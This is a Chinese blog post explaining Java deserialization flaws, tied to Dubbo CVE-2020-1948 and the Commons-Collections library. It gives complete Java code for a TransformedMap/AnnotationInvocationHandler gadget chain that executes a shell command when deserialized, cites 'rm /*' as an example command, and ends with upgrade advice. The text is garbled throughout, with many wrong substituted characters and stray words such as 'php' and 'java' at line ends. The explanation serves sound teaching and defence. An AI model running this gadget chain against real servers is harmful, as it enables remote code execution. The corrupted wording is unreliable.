Dubbo 高危漏洞!原来都是反序列化惹得祸

前言

这周收到外部合做同事推送的一篇文章,【漏洞通告】Apache Dubbo Provider默认反序列化远程代码执行漏洞(CVE-2020-1948)通告php

按照文章披露的漏洞影响范围,能够说是当前全部的 Dubbo 的版本都有这个问题。html

无独有偶,这周在 Github 本身的仓库上推送几行改动,不一会就收到 Github 安全提示,警告当前项目存在安全漏洞CVE-2018-10237java

能够看到这两个漏洞都是利用反序列化进行执行恶意代码,可能不少同窗跟我当初同样,看到这个一脸懵逼。好端端的反序列化,怎么就能被恶意利用,用来执行的恶意代码?git

   

这篇文章咱们就来聊聊反序列化漏洞,了解一下黑客是如何利用这个漏洞进行攻击。github

先赞后看,养成习惯!微信搜索『程序通事』,关注就完事了!

反序列化漏洞

在了解反序列化漏洞以前,首先咱们学习一下两个基础知识。macos

Java 运行外部命令

Java 中有一个类 Runtime,咱们可使用这个类执行执行一些外部命令。apache

下面例子中咱们使用 Runtime 运行打开系统的计算器软件。数组

// 仅适用macos 
Runtime.getRuntime().exec("open -a Calculator ");

有了这个类,恶意代码就能够执行外部命令,好比执行一把 rm /*安全

序列化/反序列化

若是常用 Dubbo,Java 序列化与反序列化应该不会陌生。微信

一个类经过实现 Serializable接口,咱们就能够将其序列化成二进制数据,进而存储在文件中,或者使用网络传输。

其余程序能够经过网络接收,或者读取文件的方式,读取序列化的数据,而后对其进行反序列化,从而反向获得相应的类的实例。

下面的例子咱们将 App 的对象进行序列化,而后将数据保存到的文件中。后续再从文件中读取序列化数据,对其进行反序列化获得 App 类的对象实例。

public class App implements Serializable {

    private String name;

    private static final long serialVersionUID = 7683681352462061434L;


    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        System.out.println("readObject name is "+name);
        Runtime.getRuntime().exec("open -a Calculator");
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        App app = new App();
        app.name = "程序通事";

        FileOutputStream fos = new FileOutputStream("test.payload");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将Unsafe对象写入object文件
        os.writeObject(app);
        os.close();
        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("test.payload");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        App objectFromDisk = (App)ois.readObject();
        System.out.println("main name is "+objectFromDisk.name);
        ois.close();
    }

执行结果:

readObject name is 程序通事
main name is 程序通事

而且成功打开了计算器程序。

当咱们调用 ObjectInputStream#readObject读取反序列化的数据,若是对象内实现了 readObject方法,这个方法将会被调用。

源码以下:

反序列化漏洞执行条件

上面的例子中,咱们在 readObject 方法内主动使用Runtime执行外部命令。可是正常的状况下,咱们确定不会在 readObject写上述代码,除非是内鬼 ̄□ ̄||

若是能够找到一个对象,他的readObject方法能够执行任意代码,那么在反序列过程也会执行对应的代码。咱们只要将知足上述条件的对象序列化以后发送给先相应 Java 程序,Java 程序读取以后,进行反序列化,就会执行指定的代码。

为了使反序列化漏洞成功执行须要知足如下条件:

  1. Java 反序列化应用中须要存在序列化使用的类,否则反序列化时将会抛出 ClassNotFoundException 异常。
  2. Java 反序列化对象的 readObject方法能够执行任何代码,没有任何验证或者限制。

引用一段网上的反序列化攻击流程,来源:https://xz.aliyun.com/t/7031

  1. 客户端构造payload(有效载荷),并进行一层层的封装,完成最后的exp(exploit-利用代码)
  2. exp发送到服务端,进入一个服务端自主复写(也多是也有组件复写)的readobject函数,它会反序列化恢复咱们构造的exp去造成一个恶意的数据格式exp_1(剥去第一层)
  3. 这个恶意数据exp_1在接下来的处理流程(多是在自主复写的readobject中、也多是在外面的逻辑中),会执行一个exp_1这个恶意数据类的一个方法,在方法中会根据exp_1的内容进行函处理,从而一层层地剥去(或者说变形、解析)咱们exp_1变成exp_二、exp_3......
  4. 最后在一个可执行任意命令的函数中执行最后的payload,完成远程代码执行。

Common-Collections

下面咱们以 Common-Collections 的存在反序列化漏洞为例,来复现反序列化攻击流程。

首先咱们在应用内引入 Common-Collections 依赖,这里须要注意,咱们须要引入 3.2.2 版本以前,以后的版本这个漏洞已经被修复。

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>
PS:下面的代码只有在 JDK7 环境下执行才能复现这个问题。

首先咱们须要明确,咱们作一系列目的就是为了让应用程序成功执行 Runtime.getRuntime().exec("open -a Calculator")

固然咱们没办法让程序直接运行上述语句,咱们须要借助其余类,间接执行。

Common-Collections存在一个 Transformer,能够将一个对象类型转为另外一个对象类型,至关于 Java Stream 中的 map 函数。

Transformer有几个实现类:

  • ConstantTransformer
  • InvokerTransformer
  • ChainedTransformer

其中 ConstantTransformer用于将对象转为一个常量值,例如:

Transformer transformer = new ConstantTransformer("程序通事");
Object transform = transformer.transform("楼下小黑哥");
// 输出对象为 程序通事
System.out.println(transform);

InvokerTransformer将会使用反射机制执行指定方法,例如:

Transformer transformer = new InvokerTransformer(
        "append",
        new Class[]{String.class},
        new Object[]{"楼下小黑哥"}
);
StringBuilder input=new StringBuilder("程序通事-");
// 反射执行了 input.append("楼下小黑哥");
Object transform = transformer.transform(input);
// 程序通事-楼下小黑哥
System.out.println(transform);

ChainedTransformer 须要传入一个 Transformer[]数组对象,使用责任链模式执行的内部 Transformer,例如:

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

Transformer chainTransformer = new ChainedTransformer(transformers);
chainTransformer.transform("任意对象值");

经过 ChainedTransformer 链式执行 ConstantTransformerInvokerTransformer逻辑,最后咱们成功的运行的 Runtime语句。

不过上述的代码存在一些问题,Runtime没有继承 Serializable接口,咱们没法将其进行序列化。

若是对其进行序列化程序将会抛出异常:

image-20200705123341395

咱们须要改造以上代码,使用 Runtime.class 通过一系列的反射执行:

String[] execArgs = new String[]{"open -a Calculator"};

final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        ),
        new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class}, execArgs),
};

刚接触这块的同窗的应该已经看晕了吧,不要紧,我将上面的代码翻译一下正常的反射代码一下:

((Runtime) Runtime.class.
        getMethod("getRuntime", null).
        invoke(null, null)).
        exec("open -a Calculator");

TransformedMap

接下来咱们须要找到相关类,能够自动调用Transformer内部方法。

Common-Collections内有两个类将会调用 Transformer

  • TransformedMap
  • LazyMap

下面将会主要介绍 TransformedMap触发方式,LazyMap触发方式比较相似,感兴趣的同窗能够研究这个开源库@ysoserial CommonsCollections1

Github 地址: https://github.com/frohoff/ys...

TransformedMap 能够用来对 Map 进行某种变换,底层原理其实是使用传入的 Transformer 进行转换。

Transformer transformer = new ConstantTransformer("程序通事");

Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只对 value 进行转换
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法将会触发调用 Transformer 内部方法
decorate.put("b", "B");

for (Object entry : decorate.entrySet()) {
    Map.Entry temp = (Map.Entry) entry;
    if (temp.getKey().equals("a")) {
        // Map.Entry setValue 也会触发 Transformer 内部方法
        temp.setValue("AAA");
    }
}
System.out.println(decorate);

输出结果为:

{b=程序通事, a=程序通事}

AnnotationInvocationHandler

上文中咱们知道了,只要调用 TransformedMapput 方法,或者调用 Map.EntrysetValue方法就能够触发咱们设置的 ChainedTransformer,从而触发 Runtime 执行外部命令。

如今咱们就须要找到一个可序列化的类,这个类正好实现了 readObject,且正好能够调用 Map put 的方法或者调用 Map.EntrysetValue

Java 中有一个类 sun.reflect.annotation.AnnotationInvocationHandler,正好知足上述的条件。这个类构造函数能够设置一个 Map 变量,这下恰好能够把上面的 TransformedMap 设置进去。

不过不要高兴的太早,这个类没有 public 修饰符,默认只有同一个包才可使用。

不过这点难度,跟上面一比,还真是轻松,咱们能够经过反射获取从而获取这个类的实例。

示例代码以下:

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 随便使用一个注解
Object instance = ctor.newInstance(Target.class, exMap);

完整的序列化漏洞示例代码以下 :

String[] execArgs = new String[]{"open -a Calculator"};

final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        ),
        new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class}, execArgs),
};
//
Transformer transformerChain = new ChainedTransformer(transformers);

Map<String, String> tempMap = new HashMap<>();
// tempMap 不能为空
tempMap.put("value", "you");

Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);



Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 随便使用一个注解
Object instance = ctor.newInstance(Target.class, exMap);


File f = new File("test.payload");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 触发代码执行
Object newObj = ois.readObject();
ois.close();

上面代码中须要注意,tempMap须要必定不能为空,且 key 必定要是 value。那可能有的同窗为何必定要这样设置?

tempMap不能为空的缘由是由于 readObject 方法内须要遍历内部 Map.Entry.

至于第二个问题,别问,问就是玄学~好吧,我也没研究清楚--,有了解的小伙伴的留言一下

最后总结一下这个反序列化漏洞代码执行链路以下:

Common-Collections 漏洞修复方式

在 JDK 8 中,AnnotationInvocationHandler 移除了 memberValue.setValue的调用,从而使咱们上面构造的 AnnotationInvocationHandler+TransformedMap失效。

另外 Common-Collections3.2.2 版本,对这些不安全的 Java 类序列化支持增长了开关,默认为关闭状态。

好比在 InvokerTransformer类中重写 readObject,增相关判断。若是没有开启不安全的类的序列化则会抛出UnsupportedOperationException异常

Dubbo 反序列化漏洞

Dubbo 反序列化漏洞原理与上面的相似,可是执行的代码攻击链与上面彻底不同,这里就再也不复现的详细的实现的方式,感兴趣的能够看下面两篇文章:

https://blog.csdn.net/caiqiiq...

https://www.mail-archive.com/...

Dubbo 在 2020-06-22 日发布 2.7.7 版本,升级内容名其中包括了这个反序列化漏洞的修复。不过从其余人发布的文章来看,2.7.7 版本的修复方式,只是初步改善了问题,不过并无根本上解决的这个问题。

感兴趣的同窗能够看下这篇文章:

https://www.freebuf.com/mob/v...

防御措施

最后做为一名普通的开发者来讲,咱们本身来修复这种漏洞,实在不太现实。

术业有专攻,这种专业的事,咱们就交给个高的人来顶。

咱们须要作的事,就是了解的这些漏洞的一些基本原理,树立的必定意识。

其次咱们须要了解一些基本的防御措施,作到一些基本的防护。

若是碰到这类问题,咱们及时须要关注官方的新的修复版本,尽早升级,好比 Common-Collections 版本升级。

有些依赖 jar 包,升级仍是方便,可是有些东西升级就比较麻烦了。就好比此次 Dubbo 来讲,官方目前只放出的 Dubbo 2.7 版本的修复版本,若是咱们须要升级,须要将版本直接升级到 Dubbo 2.7.7。

若是你目前已经在使用 Dubbo 2.7 版本,那么升级仍是比较简单。可是若是还在使用 Dubbo 2.6 如下版本的,那么就麻烦了,没办法直接升级。

Dubbo 2.6 到 Dubbo 2.7 版本,其中升级太多了东西,就好比包名变动,影响真的比较大。

就拿咱们系统来说,咱们目前这套系统,生产还在使用 JDK7。若是须要升级,咱们首先须要升级 JDK。

其次,咱们目前大部分应用还在使用 Dubbo 2.5.6 版本,这是真的,版本就是这么低。

这部分应用直接升级到 Dubbo 2.7 ,改动其实很是大。另外有些基础服务,自从第一次部署以后,就再也没有从新部署过。对于这类应用还须要仔细评估。

最后,咱们有些应用,本身实现了 Dubbo SPI,因为 Dubbo 2.7 版本的包路径改动,这些 Dubbo SPI 相关包路径也须要作出一些改动。

因此直接升级到 Dubbo 2.7 版本的,对于一些老系统来说,还真是一件比较麻烦的事。

若是真的须要升级,不建议一次性所有升级,建议采用逐步升级替换的方式,慢慢将整个系统的内 Dubbo 版本的升级。

因此这种状况下,短期内防护措施,可参考玄武实验室给出的方案:

若是当前 Dubbo 部署云上,那其实比较简单,可使用云厂商的提供的相关流量监控产品,提早一步阻止漏洞的利用。

最后(来个一键四连!!!)

本人不是从事安全开发,上文中相关总结都是查询网上资料,而后加以本身的理解。若是有任何错误,麻烦各位大佬轻喷~

若是能够的话,留言指出,谢谢了~

好了,说完了正事,来讲说这周的趣事~

这周搬到了小黑屋,哼次哼次进入开发~

刚进到小黑屋的时候,我发现里面的桌子,能够单独拆开。因而我就单独拆除一个桌子,而后霸占了一个背靠窗,正面直对大门的自然划水摸鱼的好位置。

以后我又叫来另一个同事,坐在个人边上。当咱们的把电脑,显示器啥的都搬过来放到桌子上以后。外面进来的同事就说这个会议室怎么就变成了跟房产线下门店同样了~

还真别说,在个人位置前面摆上两把椅子,就跟上面的图同样了~

好了,下周有点不知道些什么,你们有啥想了解,感兴趣的,能够留言一下~

若是没有写做主题的话,咱就干回老本行,来聊聊这段时间,我在开发的聚合支付模式,尽请期待哈~

## 帮助资料

  1. http://blog.nsfocus.net/deser...
  2. http://www.beesfun.com/2017/0...
  3. https://xz.aliyun.com/t/2041
  4. https://xz.aliyun.com/t/2028
  5. https://www.freebuf.com/vuls/...
  6. http://rui0.cn/archives/1338
  7. http://apachecommonstipsandtr...
  8. https://security.tencent.com/...
  9. JAVA反序列化漏洞完整过程分析与调试
  10. https://security.tencent.com/...
  11. https://paper.seebug.org/1264...
欢迎关注个人公众号:程序通事,得到平常干货推送。若是您对个人专题内容感兴趣,也能够关注个人博客: studyidea.cn

相关文章
相关标签/搜索